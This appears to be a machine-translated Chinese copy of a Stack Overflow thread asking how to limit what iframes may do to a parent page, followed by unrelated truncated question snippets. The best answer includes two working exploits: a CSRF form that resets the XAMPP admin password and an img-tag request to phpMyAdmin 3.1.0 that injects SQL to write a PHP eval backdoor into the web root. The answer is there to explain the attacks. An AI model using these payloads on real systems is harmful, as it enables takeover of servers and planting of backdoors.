个人中心
文章发布
退出
作者热门文章
- html - 出于某种原因，IE8 对我的 Sass 文件中继承的 html5 CSS 不友好？
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景？
30
4
有没有办法限制 iframe 在父级中可以执行的操作？我正在寻找的是围绕 Javascript 的安全模型，如下所示:
...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}
function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
Deny All;
Allow javascript:AllowedToAccess();
}
iframe script.untrusted {
Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...
两个“trusted.html”看起来都像:
<html><body>
<script type="text/javascript">
function InternalCall()
{
window.parent.AllowedToAccess();
}
function InternalCall2()
{
window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
Allow javascript:document.body.offsetHeight;
Allow javascript:document.title;
}
script.untrusted {
Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>
“SomethingIShouldernt.php”看起来像:
NotAllowedToAccess();
“untrusted.js”看起来像:
window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');
(呃...抱歉太过分了。)
您会注意到 HTML 代码中不存在“安全”标记。我正在考虑类似 CSS 选择器声明，并混合一些类似 Apache 的安全语法来定义规则。 (我没有使用 window.parent 规则，但它希望为浏览器阻止跨站点脚本展示一个不错的解决方法，这确实是非常令人沮丧的工作 - “我相信父窗口只能访问我的窗口的高度，并且标题”)。我希望这样的东西已经以某种形式存在(甚至是规范草案)。但恐怕答案是否定的。
这可以完成(甚至部分完成)吗？如果没有，那么我需要与谁交谈才能实现这样的事情(标准委员会或浏览器实现者)？当然，假设这有任何意义？
最佳答案
简短的回答是否定的，XSRF 与 iframe 无关。
伪造的请求是否来自 iframe 并不重要。伪造的请求必须来自另一台服务器，攻击者才能利用它。黑客使用 iframe 是因为它们可用于在 XSRF 漏洞利用中伪造发布请求，因为该漏洞利用必须使用 javascript 自动提交论坛。这是我针对 XAMPP 编写的真实 XSRF 漏洞，它更改了管理密码。最好在 iframe 中执行此 javascript/html，这样受害者就看不到它，但此漏洞可能会在没有 iframe 的情况下重定向整个窗口，并且仍然会更改管理员的密码。
<html>
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
但是如果 XSRF 攻击是基于 GET 的，那么 iframe 对攻击者没有帮助。最好使用 img 标签在受害者浏览器上自动发送伪造的请求。这是我为 phpMyAdmin 3.1.0 编写的另一个漏洞。这会在 Web 根目录中上传一个 php 后门。这个漏洞利用非常棒，因为它可以在不启用任何脚本的情况下工作并影响大量系统。
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
关于javascript - 如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击？，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/2137505/
30
4
0
这个问题不太可能对任何 future 的访客有帮助；它只与一个较小的地理区域、一个特定的时间点或一个非常狭窄的情况相关，通常不适用于全世界的互联网受众。如需帮助使此问题更广泛适用，visit the
我有一个在 ab 时间内运行的算法，其中 a 和 b 都是单独的输入。 我的算法还是多项式时间复杂度算法还是nn？我认为 nn 不是多项式，但我仍然不确定。 我看到 n 算法的阶乘仍然评估为 nn 复
这个问题在这里已经有了答案: Logical operators (AND, OR) with NA, TRUE and FALSE (2 个回答) 1年前关闭。 由于“is.na(NA)”返回真，“
假设我有一个具有以下结构的 Pandas 数据框: df = pd.DataFrame(dict(a=["x", "x", "y"], b=[0, 1, 1], c=[1, 2, 2])) 我想按 a
谁能帮我处理一些相当复杂的 Django 查询？ 这些是我的模型: class County(models.Model): name = models.CharField(max_length
我想从某个表中选择一行并根据另一个表对结果进行排序。 这是我的表: lang1_words: word_id - word statuses: word_id - status 在每个表中 word_
我是单元测试的新手，所以请对我宽容一些。我有一些查询 RESTful API 的模块。我发现在每个测试套件中，我都使用几行代码来启动一个简单的 ExpressJS Web 服务器，以模拟一些我可以从测
假设我有以下代码: var blinker = function(element){ if(stopped){ return; } else { var sampleMappi
我正在用 JavaScript 制作一个选择你自己的冒险风格的游戏，在本节中: evade = prompt("Go out of your way to avoid them, just in ca
我的代码: import java.awt.*; import java.awt.event.*; import javax.swing.*; public class Events1 extends
我正在使用 scipy ode 来解决钟摆问题。 from scipy import * import matplotlib.pyplot as plt from scipy.integrate im
我有一个 Google 表格，用于收集客户的注册数据。收集的数据包括学生的姓名、学生选择参加的类(class)以及信用卡号。提交后，我会收到通知。收到通知后，我会转到我的 Google 表格并从信用卡
我需要定义一个操作的两个版本，定义略有不同。它是一系列包含Nat指数的成分。 open import Data.Nat data Hom : ℕ → ℕ → Set where id : (
我正在研究游戏引擎 http://ducttape-dev.org使用 boost 作为依赖项之一。有一天，当我正在编写一个链接到我的游戏引擎的测试应用程序时，OgreProcedural 的 Ext
我正在 Android 中制作一个表达式计算器，所以我想在实际计算答案之前检查字符串是否符合有效表达式的条件。 我在 Java 中试过这个正则表达式: ^\s*([-+]?)(\d+)(?:\s*([
我有以下 postgresql 查询(为便于阅读而简化): select * from a_view where a in (select * from a_function(a_input))
我开始更好地掌握 PostgreSQL 索引，但我遇到了 OR 条件的问题，我不知道如何优化我的索引以加快查询速度。 我有 6 个条件，当单独运行时，它们的成本似乎很小。下面是修剪查询的示例，包括查询
有谁知道为什么下面的代码接受诸如123-123-1234这样的答案: [1-9]\\d{2}-[1-9]\\d{2}-\\d{4} 我想到了代码，它只接受先接受 2 个数字，再接受 2 个数字，然后再
在使用 Java 1.8u40 打开带有提示类型和附加的 StringConverter 的组合框时，我遇到了以下错误。这可以追溯到执行 FXML 的团队留下的示例字符串，与 Controller 中
在 MySQL 中，我有三个不同的数据库 - 我们将它们称为 A、B 和 C。 是否可以执行涉及所有三个数据库(A、B、C)中的表的事务？ (所有数据库都在同一服务器上) 最佳答案 是的，你可以。这是
我是一名优秀的程序员,十分优秀！